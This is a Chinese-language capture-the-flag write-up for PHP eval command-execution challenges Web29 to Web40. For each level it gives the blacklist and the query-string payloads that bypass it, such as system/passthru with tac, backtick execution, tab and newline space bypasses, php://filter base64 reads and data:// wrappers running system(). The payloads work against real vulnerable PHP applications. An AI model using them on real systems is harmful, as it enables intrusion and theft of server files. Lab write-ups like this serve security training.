前言
直接冲
Web29
error_reporting(0)先忽略错误
isset检查是否传参
传参c参数 如果匹配没有flag(i的意思是忽略大小写)
就可以执行eval函数,eval函数就不必介绍了吧
方法一:
使用tac读取文件 %20经过url编码是空格 *是匹配fla后所有的文件
?c=system("tac%20fla*");
方法二:
把flag.php里的文件内容复制到别处
?c=system("cp fla*.php a.txt");
url编码后
?c=system("cp%20fla*.php%20a.txt");
Web30
过滤了flag system以及php 并且忽略大小写
方法一:
忽略system可以用` ` 代替system进行执行命令 以及使用?进行占位
?c=`cp fla?.??? 1.txt`;
当然用*也是可以的
方法二:、
使用passthru代替system执行命令
?c=passthru("tac%20fla*");
Web31
过滤的更多了
过滤了flag system php cat sort shell 还有. 空格 以及单引号
单引号双引号等需要搭配\进行转义
方法一:
用上一靶场的passthru代替system执行命令
先看看该目录有什么
?c=passthru("ls");
之后用%09绕过空格
?c=passthru("tac%09fla*");
或者
?c=passthru("tac%09fla*????");
方法二:
跳板逃匿
先使用
?c=eval($_GET[1]);&1=phpinfo();
发现可以执行并且php没有被过滤
所以我们可以直接查看flag
?c=eval($_GET[1]);&1=system("tac flag.php");
Web32
过滤了flag system php cat sort shell . 单引号 ` echo ; 还有空格以及左括号也禁掉了
方法一:
使用文件包含并且远程读取
%0a是换行符用于跳过空格 %09也可以跳过
后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
解码一下得到flag
Web33
比上一个多过滤了一个双引号
方法一与Web32相同
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
方法二:
使用require包含执行
?c=require%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
也可以解码一下就可以了
Web34
又多过滤一个冒号
上一把的解法在这一关同样适用
?c=require%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web35
比之前多过滤了<以及=
方法一:
与之前一样
?c=require%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web36
又把0-9给禁止了
把传入的参数改字母改成a即可
?c=require%09$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
Web37
使用Php data伪协议流
data伪协议数据流是URL编码,其目的是告诉服务器该URL的数据是一个简单的纯文本格式。
?c0=data://text/plain,<?=system('ls');?>
让我们拿flag
?c=data://text/plain,<?=system('tac fla*');?>
Web38
过滤了php
用上一关的方法data伪协议可以过
?c=data://text/plain,<?=system('tac fla*');?>
Web39
如果我们输入?c=data://text/plain,<?=system(‘tac fla*’);?>
他会给我们添加成?c=data://text/plain,<?=system(‘tac fla*’);?>.php
但不影响前面代码执行
上一把的方法直接过
?c=data://text/plain,<?=system('tac fla*');?>
Web40
过滤了数字0-9 ~ \ @ # $ %^&*( -= + {} [] \ : . ‘ ” <> / >\还有() 不过是中文括号
方法一:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
pos(localeconv())))用于获取当前区域信息
scandir扫描当前目录
array_reverse进行目录反转
next数组用于将指针移动下一个元素整理来说是获取反转目录列表后的第一个文件
show_source展现源代码
OK
暂无评论内容